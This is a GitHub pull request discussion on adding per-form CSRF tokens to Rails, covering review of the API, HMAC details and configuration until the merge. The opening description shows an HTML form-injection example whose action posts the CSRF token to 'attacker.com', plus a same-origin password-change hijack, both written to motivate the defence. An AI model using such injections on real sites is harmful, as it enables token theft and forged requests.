New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Per-form CSRF tokens #22275

Merged
merged 1 commit into from Jan 6, 2016

Conversation

Projects
None yet
10 participants
@mastahyeti
Contributor

mastahyeti commented Nov 12, 2015

For sites using CSP, one of the biggest risks of content-injection is form hijacking. For example, on a page like

<!-- some xss vulnerability here -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

an attacker can inject their own unclosed form tag.

<form method="post" action="//attacker.com/tokens"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

Because nested form elements aren't allowed in HTML, the attacker's tag will supersede the legitimate one and inherit its CSRF token input tag. If the form is submitted, the CSRF token will go to attacker.com.

This can be largely mitigated by using CSP with the form-action directive, to specify that forms cannot be posted cross-origin. An attacker with a content-injection vulnerability is then limited to hijacking forms to make same-origin requests. This can unfortunately still be quite impactful:

<form method="post" action="/user/change_password"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

One mitigation for this kind of attack is to require that every form tag have a nonce that matches a value in some meta tag. We currently implement this method at GitHub using JavaScript to detect/delete injected form tags. w3c/webappsec-csp#20 is a proposal to add this mitigation to CSP itself.

Another mitigation would be to have each CSRF token be valid only for the method/action of the form it was included in. We wrote an implementation of this for our fork of Rails and would like to forwardport/upstream the feature if there is interest. Unfortunately, the BREACH mitigation we wrote (#16570 took too long) is fairly different from the upstream one and our per-form CSRF token changes don't apply cleanly.

The questions I have for @rails/security are:

  1. The attack described here is very niche. Is this worth upstreaming?
  2. Would you want it to be backwards compatible (are API changes okay)?

If it's deemed worthwhile, I'll be happy to try to port our changes to this branch, but I wanted to ask before putting in the effort. f9a1bfb lays much of the groundwork by passing the form method/action to form_authenticity_token. Even if per-form CSRF tokens aren't added to mainstream Rails, we'd love to see that commit merged to reduce the monkey patching required for our implementation and to make it easier for others to implement themselves.

/cc @ptoomey3 @oreoshake @gregose
Further reading on CSP bypasses: http://lcamtuf.coredump.cx/postxss/ http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/

@rails-bot

This comment has been minimized.

Show comment
Hide comment
@rails-bot

rails-bot Nov 12, 2015

Thanks for the pull request, and welcome! The Rails team is excited to review your changes, and you should hear from @rafaelfranca (or someone else) soon.

If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.

Please see the contribution instructions for more information.

rails-bot commented Nov 12, 2015

Thanks for the pull request, and welcome! The Rails team is excited to review your changes, and you should hear from @rafaelfranca (or someone else) soon.

If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.

Please see the contribution instructions for more information.

@rafaelfranca

This comment has been minimized.

Show comment
Hide comment
Member

rafaelfranca commented Nov 12, 2015

@jeremy

This comment has been minimized.

Show comment
Hide comment
@jeremy

jeremy Nov 12, 2015

Member

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

Member

jeremy commented Nov 12, 2015

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

@jeremy

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -262,7 +262,7 @@ def verified_request?
end
# Sets the token value for the current session.
def form_authenticity_token
def form_authenticity_token(action_path=nil, method=nil)

This comment has been minimized.

@jeremy

jeremy Nov 12, 2015

Member

Passing the form html options as keyword args would make it easy for others to do custom tokens and give some measure of forward-compat.

@jeremy

jeremy Nov 12, 2015

Member

Passing the form html options as keyword args would make it easy for others to do custom tokens and give some measure of forward-compat.

@jeremy

View changes

Show outdated Hide outdated actionview/lib/action_view/helpers/url_helper.rb
@@ -579,9 +580,9 @@ def add_method_to_attributes!(html_options, method)
html_options["data-method"] = method
end
def token_tag(token=nil)
def token_tag(token=nil, action_path=nil, method=nil)

This comment has been minimized.

@jeremy

jeremy Nov 12, 2015

Member

Could pass all the html_options to token_tag too

@jeremy

jeremy Nov 12, 2015

Member

Could pass all the html_options to token_tag too

@mastahyeti

This comment has been minimized.

Show comment
Hide comment
@mastahyeti

mastahyeti Nov 12, 2015

Contributor

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

Okay. I pushed up my initial spike at per-form tokens (61506e4). It feels pretty hacky adding it with the current APIs. I was kind of hoping you didn't care about backwards compatibility 😉.

I'll work on cleaning this up and adding tests over the next couple days.

Contributor

mastahyeti commented Nov 12, 2015

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

Okay. I pushed up my initial spike at per-form tokens (61506e4). It feels pretty hacky adding it with the current APIs. I was kind of hoping you didn't care about backwards compatibility 😉.

I'll work on cleaning this up and adding tests over the next couple days.

@timbreitkreutz

View changes

Show outdated Hide outdated actionview/lib/action_view/helpers/form_tag_helper.rb
token_tag(authenticity_token)
token_tag(authenticity_token, form_options: {
:action => html_options["action"],
:method => "post"

This comment has been minimized.

@timbreitkreutz

timbreitkreutz Nov 13, 2015

1.9 syntax?

token_tag(authenticity_token, form_options: {
  action: html_options["action"],
  method: "post"
}
@timbreitkreutz

timbreitkreutz Nov 13, 2015

1.9 syntax?

token_tag(authenticity_token, form_options: {
  action: html_options["action"],
  method: "post"
}
@timbreitkreutz

View changes

Show outdated Hide outdated actionview/lib/action_view/helpers/form_tag_helper.rb
method_tag(method) + token_tag(authenticity_token)
method_tag(method) + token_tag(authenticity_token, form_options: {
:action => html_options["action"],
:method => method

This comment has been minimized.

@timbreitkreutz
@timbreitkreutz
@mastahyeti

This comment has been minimized.

Show comment
Hide comment
@mastahyeti

mastahyeti Nov 25, 2015

Contributor

After significant debugging (resulting in #22402), I got some simple tests written for this feature. I'll work on testing edge cases tomorrow.

Contributor

mastahyeti commented Nov 25, 2015

After significant debugging (resulting in #22402), I got some simple tests written for this feature. I'll work on testing edge cases tomorrow.

@pixeltrix

This comment has been minimized.

Show comment
Hide comment
@pixeltrix

pixeltrix Nov 25, 2015

Member

@mastahyeti @jeremy in #21948 we discussed using a permanent cookie for CSRF tokens - this PR will obviously complicate things if we wanted to go down that route.

Member

pixeltrix commented Nov 25, 2015

@mastahyeti @jeremy in #21948 we discussed using a permanent cookie for CSRF tokens - this PR will obviously complicate things if we wanted to go down that route.

@mastahyeti

This comment has been minimized.

Show comment
Hide comment
@mastahyeti

mastahyeti Nov 25, 2015

Contributor

@pixeltrix This PR shouldn't be complicated by using a permanent cookie for storing the CSRF token. That change would probably just be to #real_csrf_token, changing it to grab the raw token value from a different place.

Contributor

mastahyeti commented Nov 25, 2015

@pixeltrix This PR shouldn't be complicated by using a permanent cookie for storing the CSRF token. That change would probably just be to #real_csrf_token, changing it to grab the raw token value from a different place.

@mastahyeti

This comment has been minimized.

Show comment
Hide comment
@mastahyeti

mastahyeti Dec 1, 2015

Contributor

@jeremy I've written a number of tests and am feeling good about this branch. I'd love a set of 👀 when you have a chance.

Contributor

mastahyeti commented Dec 1, 2015

@jeremy I've written a number of tests and am feeling good about this branch. I'd love a set of 👀 when you have a chance.

@reedloden

This comment has been minimized.

Show comment
Hide comment
@reedloden

reedloden Dec 30, 2015

Any updates on this? Would love to have this functionality. Great improvement to security over the current CSRF implementation.

reedloden commented Dec 30, 2015

Any updates on this? Would love to have this functionality. Great improvement to security over the current CSRF implementation.

@rafaelfranca rafaelfranca added this to the 5.0.0 milestone Dec 31, 2015

@filedescriptor

This comment has been minimized.

Show comment
Hide comment
@filedescriptor

filedescriptor Dec 31, 2015

Just so you guys aren't convinced yet, here's a real attack against Twitter https://blog.innerht.ml/csp-2015/

filedescriptor commented Dec 31, 2015

Just so you guys aren't convinced yet, here's a real attack against Twitter https://blog.innerht.ml/csp-2015/

@reedloden

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -77,6 +77,10 @@ module RequestForgeryProtection
config_accessor :log_warning_on_csrf_failure
self.log_warning_on_csrf_failure = true
# Contols whether form-action/method specific CSRF tokens are used.

This comment has been minimized.

@reedloden
@reedloden
@reedloden

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -77,6 +77,10 @@ module RequestForgeryProtection
config_accessor :log_warning_on_csrf_failure
self.log_warning_on_csrf_failure = true
# Contols whether form-action/method specific CSRF tokens are used.
config_accessor :per_form_csrf_tokens_enabled
self.per_form_csrf_tokens_enabled = false

This comment has been minimized.

@reedloden

reedloden Dec 31, 2015

Can this be added as an initializer like you did in #22263 so new Rails apps get this protection by default?

@reedloden

reedloden Dec 31, 2015

Can this be added as an initializer like you did in #22263 so new Rails apps get this protection by default?

This comment has been minimized.

@rafaelfranca
@rafaelfranca
@rafaelfranca

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -77,6 +77,10 @@ module RequestForgeryProtection
config_accessor :log_warning_on_csrf_failure
self.log_warning_on_csrf_failure = true
# Contols whether form-action/method specific CSRF tokens are used.
config_accessor :per_form_csrf_tokens_enabled

This comment has been minimized.

@rafaelfranca

rafaelfranca Dec 31, 2015

Member

I think per_form_csrf_tokens is enough.

@rafaelfranca

rafaelfranca Dec 31, 2015

Member

I think per_form_csrf_tokens is enough.

@rafaelfranca

This comment has been minimized.

Show comment
Hide comment
@rafaelfranca

rafaelfranca Dec 31, 2015

Member

@mastahyeti Just a minor comments to be addressed and we are good to go. Also don't forget to add a CHANGELOG entry and squash your commits

Member

rafaelfranca commented Dec 31, 2015

@mastahyeti Just a minor comments to be addressed and we are good to go. Also don't forget to add a CHANGELOG entry and squash your commits

@ptoomey3

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
# The per-form token needs to be the same size as a normal token to
# preserve the masking logic. It's safe to truncate an HMAC by up to
# half, according to RFC2104 section 5.

This comment has been minimized.

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Minor nit. It happens that AUTHENTICITY_TOKEN_LENGTH is currently half the length of a hex SHA256 digest output. So, it is technically fine, but also slightly fragile to changes in the future (ex. we update the implementation to use SHA3-384 in the future). Someone reading the comment in the future might think that this "up to half" calculation had been taken into account in AUTHENTICITY_TOKEN_LENGTH.

The per-form token needs to be the same size as a normal token to preserve the masking logic.

In theory this hmac implementation could do away with the xor based masking by incorporating the one-time-pad into the actual HMAC computation itself. That would free us from having to match the lengths. That said, I understand the appeal of having the lengths match for ease of implementation.

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Minor nit. It happens that AUTHENTICITY_TOKEN_LENGTH is currently half the length of a hex SHA256 digest output. So, it is technically fine, but also slightly fragile to changes in the future (ex. we update the implementation to use SHA3-384 in the future). Someone reading the comment in the future might think that this "up to half" calculation had been taken into account in AUTHENTICITY_TOKEN_LENGTH.

The per-form token needs to be the same size as a normal token to preserve the masking logic.

In theory this hmac implementation could do away with the xor based masking by incorporating the one-time-pad into the actual HMAC computation itself. That would free us from having to match the lengths. That said, I understand the appeal of having the lengths match for ease of implementation.

This comment has been minimized.

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Also...maybe I skimmed over the original code too quickly. But, it appears that if you used OpenSSL::HMAC.digest instead of OpenSSL::HMAC.hexdigest you could get away with the full hmac, no? The original implementation calls real_csrf_token in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R298. That call returns the result of a base64 decode in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R369. So, I think the original implementation ends up xoring the one time pad with 32 bytes of binary data. So, we may as well return 32 bytes of binary data rather than 32 hex characters.

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Also...maybe I skimmed over the original code too quickly. But, it appears that if you used OpenSSL::HMAC.digest instead of OpenSSL::HMAC.hexdigest you could get away with the full hmac, no? The original implementation calls real_csrf_token in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R298. That call returns the result of a base64 decode in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R369. So, I think the original implementation ends up xoring the one time pad with 32 bytes of binary data. So, we may as well return 32 bytes of binary data rather than 32 hex characters.

This comment has been minimized.

@mastahyeti

mastahyeti Jan 4, 2016

Contributor

Seems right. Not sure why I thought this needed to be hex. I might also add a test to ensure that the per-form token length is the same as AUTHENTICITY_TOKEN_LENGTH.

@mastahyeti

mastahyeti Jan 4, 2016

Contributor

Seems right. Not sure why I thought this needed to be hex. I might also add a test to ensure that the per-form token length is the same as AUTHENTICITY_TOKEN_LENGTH.

@ptoomey3

View changes

Show outdated Hide outdated actionpack/lib/action_controller/metal/request_forgery_protection.rb
correct_token = per_form_csrf_token(
session,
normalize_action_path(request.fullpath),
request.request_method.downcase

This comment has been minimized.

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Would it make sense to do the downcasing inside per_form_csrf_token for consistency?

@ptoomey3

ptoomey3 Dec 31, 2015

Contributor

Would it make sense to do the downcasing inside per_form_csrf_token for consistency?

@mastahyeti

This comment has been minimized.

Show comment
Hide comment
@mastahyeti

mastahyeti Jan 4, 2016

Contributor

I addressed all the line comments from above. I also (kind of) squashed my commits. I ran into the same trouble squashing as in #22263 (comment) because of having merged in master a few times.

Contributor

mastahyeti commented Jan 4, 2016

I addressed all the line comments from above. I also (kind of) squashed my commits. I ran into the same trouble squashing as in #22263 (comment) because of having merged in master a few times.

rafaelfranca added a commit that referenced this pull request Jan 6, 2016

@rafaelfranca rafaelfranca merged commit ced9612 into rails:master Jan 6, 2016

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details
@rafaelfranca

This comment has been minimized.

Show comment
Hide comment
@rafaelfranca

rafaelfranca Jan 6, 2016

Member

Awesome! Thank you so much.

Member

rafaelfranca commented Jan 6, 2016

Awesome! Thank you so much.

@infoman

This comment has been minimized.

Show comment
Hide comment
@infoman

infoman Jan 9, 2016

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server? You can't do anything with the csrf token here, because the auth credentials already leaked and the attacker can just go and enter them, and the csrf token will be valid in that case.

infoman commented Jan 9, 2016

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server? You can't do anything with the csrf token here, because the auth credentials already leaked and the attacker can just go and enter them, and the csrf token will be valid in that case.

@ptoomey3

This comment has been minimized.

Show comment
Hide comment
@ptoomey3

ptoomey3 Jan 10, 2016

Contributor

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server?

As noted at the top of this pull request, per-form csrf tokens are mostly beneficial for sites that have largely mitigated the types of attacks you mentioned. For example, CSP form-action would prevent the attack you cited. But, there are various "CSP bypasses" that may allow a csrf token to be exfiltrated. So, the idea here is to minimize the value in any one disclosure.

Contributor

ptoomey3 commented Jan 10, 2016

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server?

As noted at the top of this pull request, per-form csrf tokens are mostly beneficial for sites that have largely mitigated the types of attacks you mentioned. For example, CSP form-action would prevent the attack you cited. But, there are various "CSP bypasses" that may allow a csrf token to be exfiltrated. So, the idea here is to minimize the value in any one disclosure.

varyonic added a commit to varyonic/arbre that referenced this pull request Jan 31, 2017

chrislo added a commit to alphagov/manuals-publisher that referenced this pull request May 25, 2017

Enable per_form_csrf_tokens
Rails 5 introduced[1] the option to generate a different CSRF token
for each form. This mitigates a certain type of same-origin
content-injection attack[2]. Enabling the option seems sensible and
doesn't require any other changes to be made.

[1] rails/rails@3e98819
[2] rails/rails#22275

chrislo added a commit to alphagov/manuals-publisher that referenced this pull request May 25, 2017

Enable per_form_csrf_tokens
Rails 5 introduced[1] the option to generate a different CSRF token
for each form. This mitigates a certain type of same-origin
content-injection attack[2]. Enabling the option seems sensible and
doesn't require any other changes to be made.

[1] rails/rails@3e98819
[2] rails/rails#22275
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment